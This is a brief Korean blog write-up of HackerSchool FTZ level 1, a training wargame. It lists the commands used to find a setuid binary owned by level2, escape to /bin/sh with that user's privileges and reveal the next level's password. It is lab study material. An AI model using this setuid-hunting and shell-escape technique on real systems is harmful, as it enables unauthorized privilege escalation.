시스템 해킹

HackerSchool FTZ - 1

taktaks 2024. 5. 23. 10:20

id level1

passwd level1

 

ls -al

hint가 보인다 hint를 보자

 

cat hint

 

 

find / -user level2 -perm -4000

 

permission denied 가 아닌 /bin/ExecuteMe 파일을 확인한다.

 

 

cd /bin/

./ExecuteMe

 

./ExecuteMe

현재 level 1의 권한이므로

 

/bin/sh 쉘을 실행한다.

 

 

 

이제 level2 의 권한이므로 my-pass를 실행

 

 

 

level1 의 문제를 해결하였다

 

level2의 패스워드는 hacker or cracker